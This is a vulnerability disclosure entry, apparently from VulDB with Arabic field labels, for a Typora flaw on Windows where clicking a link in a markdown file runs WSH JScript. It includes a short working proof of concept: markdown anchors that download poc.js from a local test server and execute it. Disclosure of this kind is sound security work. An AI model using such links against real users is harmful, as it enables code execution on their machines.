| عنوان | Typora on Windows fails to properly filter WSH JScript, which may result in code execution |
|---|
| الوصف | Although typora filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version
0.9.78-1.5.5(latest)
PoC(markdown file)
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript
For more details, please click the announcement. |
|---|
| المصدر | ⚠️ https://github.com/typora/typora-issues/issues/5623 |
|---|
| المستخدم | Tom23 (UID 41413) |
|---|
| ارسال | 20/02/2023 01:11 PM (4 سنوات منذ) |
|---|
| الاعتدال | 24/02/2023 08:53 AM (4 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 221736 [Typora حتى 1.5.5 على Windows WSH JScript تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|